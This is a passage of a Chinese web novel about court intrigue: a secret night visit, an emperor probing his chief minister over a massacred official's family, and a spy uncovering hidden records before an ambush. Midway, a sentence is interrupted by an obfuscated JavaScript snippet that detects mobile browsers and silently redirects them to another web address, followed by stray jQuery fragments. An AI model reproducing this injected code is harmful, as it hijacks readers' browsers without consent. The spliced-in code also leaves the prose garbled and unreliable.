可那句话，终究像根刺，扎在心底，隐隐作痛。


    夜深人静，云想楼内只剩偶尔的虫鸣。


    楼为桉身形如鬼魅，悄无声息地潜入后院，避开巡逻的伙计，纵身跃上二楼窗台。他轻轻推开一条缝隙，确认东清酒已然熟睡，才闪身进房间。


    房间里弥漫着淡淡的兰芷香气，混合着安神的草药味。


    东清酒侧躺着，长发散落在枕间，眉头微微蹙着，像是在睡梦中也带着一丝不安。


    月光透过窗棂，洒在她苍白的脸颊上，脖颈处那道浅浅的刀痕，在月色下格外刺眼，那是他失控时留下的。


    楼为桉的心猛地一揪，愧疚如潮水般涌来。


    他放轻脚步，走到床边，小心翼翼地掀开被角。


    她的小腿因为昨夜的奔跑，微微有些肿胀，脚踝处还有些擦伤。他蹲下身，手上带着微凉的温度，轻轻覆在她的小腿上，动作轻柔得仿佛怕惊扰易碎的梦境，一点点揉捏着酸胀的肌肉。


    接着，他从怀中取出一个小巧的瓷瓶，倒出一点清凉的药膏，用指腹轻轻涂抹在她脖颈的伤口上。


    药膏触肤的凉意，让东清酒下意识地瑟缩了一下。楼为桉的动作一顿，目光落在她恬静的睡颜上，声音压得极低，带着难以察觉的颤抖：“对不起，让你受伤了。”


    话音刚落，东清酒忽然一抖腿，将腿缩回了被子里，翻了个身，背对着他继续沉睡。


    楼为桉没有起身，反而俯身凑近，鼻尖几乎要碰到她的发丝。


    月光勾勒出她柔和的侧脸轮廓，长长的睫毛像蝶翼般轻颤，呼吸均匀而平稳。


    “睡着后的你，很安静。”他喃喃自语，眼神里带着一种自己都未曾察觉的温柔。


    手不受控制地伸出去，在她小巧的鼻梁上轻轻擦一下，触感细腻而温热，让他的心猛地一跳，连忙收回了手，仿佛触碰到了什么稀世珍宝。


    就在这时，东清酒忽然低低地呓语出声，声音模糊却清晰地传入楼为桉耳中：“连屹，等等我……我马上来……”


    楼为桉的动作瞬间僵住，瞳孔微微收缩。连屹？这是谁？


    他从未听过这个名字，却从她的语气里，听出了依赖与亲昵。


    一股莫名的烦躁与醋意，悄然爬上心头。


    紧接着，她又呢喃了一句，带着几分娇憨的期待：“小狐狸雕好了吗？”


    小狐狸？


    楼为桉眉头紧锁，满脑子都是大大的问号。这个连屹是谁？和她是什么关系？小狐狸又是什么东西？无数个疑问在脑海里盘旋，让他心头的烦躁愈发浓烈。


    他沉默了片刻，缓缓从怀中掏出一个东西。


    那是一只小巧玲珑的木头狐狸，雕刻得栩栩如生，眉眼间竟有几分东清酒的娇俏模样。这是他昨夜在医馆外，趁着鱼长淮煎药的空隙，用随身的匕首仓促雕成的。


    他轻轻将木狐狸放在她的枕边，摩挲着冰凉的木头纹理，声音低沉而沙哑，带着一丝不易察觉的怅然：“和你长得一模一样。”


    说完，他最后看了一眼东清酒的睡颜，才悄无声息地转身，像来时一样，融入沉沉的夜色中。


    房间里，月光依旧温柔，枕边的木狐狸静静躺着，与东清酒均匀的呼吸声，一同构成了一幅静谧的画面。


    而那声“连屹”，却像一根无形的线，缠绕在楼为桉的心头，让他彻夜难眠。


    ……


    御书房内檀香袅袅，沉水香的气息混着笔墨的清冽，在雕梁画栋间弥漫。


    朱红梁柱巍峨耸立，墙上悬挂的《山河舆图》墨迹苍劲，案几上堆积的奏折摞得齐整，唯有明黄的御案后，一道身影斜倚着，透着几分与这肃穆之地格格不入的慵懒。


    传召的朱掌事躬身在前引路，脚步轻得几乎无声。


    楼曲首身着簇新的石青色官服，玉带束腰，衣料上的暗纹在殿内微光下流转，每一步都走得沉稳，却难掩眼底深处的一丝凝重。


    他随朱掌事入内，见御案后的皇上正垂眸翻阅内阁呈递的奏折，墨色龙纹常服松松垮垮地披在身上，长发未束，仅用一根玉簪随意固定。


    楼曲首不敢耽搁，当即撩袍跪地，额头稳稳叩在冰凉的金砖上，声音恭敬得无半分差错：“臣楼曲首，恭迎圣上出关，愿吾皇圣体安康，国运昌隆。”


    李怍素来沉迷修道之术，每逢朝堂有难解之困，心境遇阻，便会闭关求道，以图寻得破局之法。


    他虽放权内阁处理日常政务，却始终牢牢攥着最终批阅权与决策权，是朝中无人敢僭越的绝对核心，如同一座横亘在众臣面前的坚不可摧的山。


    御案后的翻阅声骤然停住。


    李怍的声音不高，却带着一种穿透人心的压迫感，缓缓响起：“楼相，东凌沣为什么死了？”


    “东凌沣”三字一出，楼曲首的脊背猛地一僵，原本就低垂的头颅压得更低，眼神瞬间变得颤微，身体又向下弯了一个弧度，几乎要贴到地面：“圣上明鉴！汀州东大人一府被屠，经查实确是山匪流窜所为，凶残至极，东大人乃国之栋梁，忠心耿耿，却遭此横祸，臣痛心疾首，只恨不能替东大人赴死！这意外来得太过突然，臣已派义子——银卫队指挥使亲赴汀州彻查，他素来谨慎，断不敢妄下定论，定会将实情一一禀报圣上。”


    他的声音带着恰到好处的悲戚与惶恐，字字恳切，却在提及“山匪”二字时，神色皱眉。


    李怍闻言，并未立刻作答。


    他赤着双脚，白袜踩在微凉的金砖上，一步步走向跪地的楼曲首。


    龙袍下摆扫过地面，带出一阵轻微的声响。


    他俯身，双手扶起仍弯着腰的楼曲首，脸上先前的冷厉怒态骤然消散，取而代之的是一抹意味深长的笑意，语气也变得温和：“楼相呀！这么慌干什么，朕只是随口问问罢了。”


    楼曲首被扶起时，胳膊触摸到皇上微凉的掌心，心头一凛，连忙顺势站直身体，目光却不敢与李怍直视，只敢垂眸望着他的龙袍下摆。


    他能清晰感受到皇上周身那股不可言喻的威严。


    那是居于高位久了沉淀出的气场，不可直视，更不可僭越，即便此刻面带笑意，眼底深处也仿佛有风云在暗中搅动，让人捉摸不透。


    李怍转身踱回御案后，随手拿起一本奏折，漫不经心地翻阅着，目光却透过书页的缝隙落在楼曲首手中捧着的奏折上，忽然扬了扬下巴，语气带着几分赞许：“这次南方灾情，楼相处理得很好，调度有方，没让朕失望。”


    话音刚落，他将手中的奏折轻轻一掷，落在案上，发出一声轻响：“说吧，想要什么奖赏？”


    楼曲首心中一紧，连忙躬身推辞，语气愈发恭敬：“臣为陛下分忧，为百姓谋福，本就是臣的本分与福分，不敢奢求任何赏赐。”


    李怍闻言，眼底的笑意淡了几分，他重新拿起奏折，目光落回纸面，挥挥手，语气恢复了先前的淡漠：“下去吧。”


    “臣遵旨。”楼曲首再次躬身行礼，后退三步，才转身缓缓退出御书房。


    朱红的殿门在他身后缓缓合上，隔绝了殿内的檀香与威压，可他后背的冷汗，却已浸透了官服内衬。


    他抬头望了一眼宫墙上的天空，云层厚重，一如方才皇上眼底那深不可测的风云。


    御书房的明黄烛火映着案上的圣旨，首辅二字落笔遒劲，如同一道沉甸甸的权柄，砸在朝堂格局的中心。


    这位置是大羽王朝的权柄中枢，掌天下政务调度，定朝堂议事走向，而李怍力排众议，将这把交椅塞到了楼曲首手中，核心只因看中他骨子里的狠厉与果决，处理事务素来干净利落，从无拖泥带水的赘余，正如一把出鞘即见血的利刃，从不会让使用者失望。


    回溯李怍初登大宝之时，朝堂之上暗流涌动，旧臣观望，宗室蠢蠢欲动。


    正是楼曲首，彼时不过而立之年，却带着一身孤勇与筹谋，率先率领满朝文臣武将俯首称臣，三叩九拜间，以雷霆之势稳定了朝局根基。


    他踩着前任首辅寇冠的落寞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948822|190547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    退场，以最年轻的资历，最短的时间，硬生生坐上了内阁第一把交椅，成为李怍掌权初期最得力的肱骨之臣。


    在李怍眼中，楼曲首从来都不是单纯的忠臣。


    他是能臣，每逢棘手政务，总能想出最优解，将朝堂打理得井井有条。


    他是颇有手段的政客，朝堂之上的派系倾轧，他总能游刃有余，既保全自身，又能为皇权扫清障碍。


    更重要的是，他是一把趁手的好刀。


    锋利、听话，能替君王斩除荆棘，也能替君王背负骂名。


    李怍需要这样的人来稳固江山，也需要这样的人来平衡朝堂势力，哪怕这把刀的刃，偶尔也会隐隐对着刀柄。


    楼曲首能坐稳首辅之位，自然深谙驭下之道。


    他手下的官员，上至各部侍郎，下至地方知县，皆被他调教得口径一致。每逢皇上例行召见询问政务细节，或是核查某件差事的来龙去脉，众人所言无不严丝合缝，找不到半分破绽。


    这份默契，李怍心知肚明，楼曲首早已布下天罗地网，将自己的势力圈打造成了铁板一块，明面上的询问，不过是徒费功夫。


    但李怍从未真正放下过戒心。


    君王之道，在于制衡与洞察。


    他表面上对楼曲首信任有加，放权让他执掌内阁，暗地里却早已赋予崔寒生密探之权，令其暗中调查楼曲首一系的所有动向。


    从汀州东凌沣灭门案的蛛丝马迹，到朝堂之上的暗箱操作，崔寒生如同潜伏在暗影中的猎手，悄无声息地收集着一切证据。


    李怍看得通透，对付楼曲首这样的人物，硬碰硬只会两败俱伤。


    唯有静待时机，等崔寒生收集到确凿实证，那时再收网，便是水到渠成，既不会动摇朝堂根基，又能将这把过于锋利的刀，牢牢握在自己手中，或是干脆折断，永绝后患。


    御书房的烛火摇曳，李怍看奏折上的朱砂印，眼底闪过一丝深不可测的光。


    楼曲首这把刀，他还要用一阵子，而崔寒生这条线，也该收些成果了。


    朝堂之上的风平浪静，不过是暴风雨来临前的假象罢了。


    ……


    崔寒生裹着一身夜露，潜入汀州旧宅时，这座被大火烧过一半的东府遗址，早已被上面人贴上禁地封条，白日里街道有人，唯有深夜才敢踏足。


    他身着夜行衣，动作轻得像片落叶，避开断壁残垣上的焦黑木刺，直奔东凌沣生前的书房。


    楼曲首派来的自己人把东府翻了个底朝天，对外只宣称“山匪劫掠后纵火毁迹”，可崔寒生从一位偷偷给东府老仆送药的郎中口中得知，东凌沣死时，书房的暗格是从内部撬开的，而非外力破坏。


    这一点，卷宗里只字未提。


    此刻，他借着月色，用细铁丝撬开书房的残门。


    屋内积满灰尘，烧焦的梁柱歪斜着，空气中还残留着草木灰与血腥气的混合味。


    崔寒生掏出火折子，吹亮后用袖子挡着微光，目光扫过墙角。


    那里有块地砖颜色略浅，与周围焦黑的砖块格格不入。他蹲下身，指尖扣住地砖边缘，用力一掀，一块巴掌大的青石板被掀起，下面藏着个锈迹斑斑的铁盒。


    铁盒上没有锁，打开的瞬间，几卷残破的绢帛滑落出来。


    崔寒生展开一看，竟是东凌沣生前记录的密档，还没有来得及送给帝王的，上面详细写着他在汀州查到的贪腐案，涉及官员名单中，赫然有楼曲首的心腹，而最后的落款日期，正是东府被屠的前一日。


    “原来如此。”


    他不敢久留，把册子取走，随即原路撤离，消失在汀州的夜色里。


    回到京城后，崔寒生没有直接回皇宫复命。


    行至半路的竹林时，一阵破空声骤然响起，三支淬毒的弩箭擦着他的耳畔飞过，钉在旁边的竹干上，泛着幽蓝的光。


    崔寒生猛地矮身，抽出腰间短刀，警惕地望向四周。


    话音未落，杀手们已一拥而上。